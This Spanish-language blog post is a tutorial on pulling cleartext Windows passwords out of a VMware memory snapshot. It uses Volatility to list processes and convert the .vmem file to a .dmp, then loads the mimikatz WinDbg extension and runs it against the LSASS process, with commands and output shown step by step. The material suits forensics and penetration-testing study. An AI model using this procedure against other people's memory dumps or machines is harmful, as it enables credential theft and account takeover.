Obtención de contraseñas en claro mediante volcados de memoria (dmp) con WinDbg y la extensión de mimikatz

Como ya sabéis, con mimikatz podemos obtener los hashes/contraseñas accediendo directamente al proceso o a un minidump de LSASS. Sin embargo, los contenidos de la memoria de LSASS están también "disponibles" a través de otras fuentes:

- copias de memoria de máquinas virtuales (archivos .vmem, etc.)
- archivos de hibernación (archivos hiberfil.sys)
- archivos de volcado de memoria crashdump (.dmp)
...

Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.

Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.

Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.

Empezamos analizando el volcado mediante Volatility y visualizando nuestro objetivo lsass.exe (Local security authentication server):
D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86  pslist

Volatility Foundation Volatility Framework 2.3.1
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Star
t                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------
0x841388a8 System                    4      0     92      471 ------      0 2013-11-26 11:05:00 UTC+0000
0x8529e930 smss.exe                268      4      5       30 ------      0 2013-11-26 11:05:00 UTC+0000
0x85a2ad40 csrss.exe               368    348      9      551      0      0 2013-11-26 11:05:08 UTC+0000
0x85d28d40 wininit.exe             420    348      7       90      0      0 2013-11-26 11:05:11 UTC+0000
0x85d13d40 csrss.exe               428    412     10      199      1      0 2013-11-26 11:05:11 UTC+0000
0x85d36d40 winlogon.exe            476    412      6      122      1      0 2013-11-26 11:05:11 UTC+0000
0x85d62820 services.exe            520    420     24      253      0      0 2013-11-26 11:05:11 UTC+0000
0x85d57ad0 lsass.exe               536    420      9      544      0      0 2013-11-26 11:05:11 UTC+0000
0x8524d808 lsm.exe                 544    420     11      155      0      0 2013-11-26 11:05:11 UTC+0000
0x85d577e0 svchost.exe             636    520     17      375      0      0 2013-11-26 11:05:12 UTC+0000
...

Lo primero que tenemos que hacer es convertir el fichero .vmem a formato .dmp, el estándar diseñado por Microsoft para depuración. En nuestro caso lo haremos también mediante Volatility:
D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86 raw2dmp -O mem.dmp
Volatility Foundation Volatility Framework 2.3.1
Writing data (5.00 MB chunks): |................................................................................................................................
..............................................................................|

Ahora que tenemos el fichero .dmp lo abrimos con WinDbg (control + D):
 

A continuación simplemente cargamos la librería mimilib.dll:
16.0: kd> .load d:\hacking\mimikatz_trunk\x64\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 24 2013 21:22:48)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> 

Después hay que situarse en el contexto del proceso LSASS:
16.0: kd> !process 0 0 lsass.exe
PROCESS 85d57ad0  SessionId: 0  Cid: 0218    Peb: 7ffd3000  ParentCid: 01a4
    DirBase: 3eca00e0  ObjectTable: 882e2288  HandleCount: 544.
    Image: lsass.exe

16.0: kd> .process /r /p 85d57ad0
Implicit process is now 85d57ad0
Loading User Symbols
..........................................................

Y finalmente ejecutar el comando !mimikatz:
 

Fuente: WinDbg et l’extension de mimikatz

Comentarios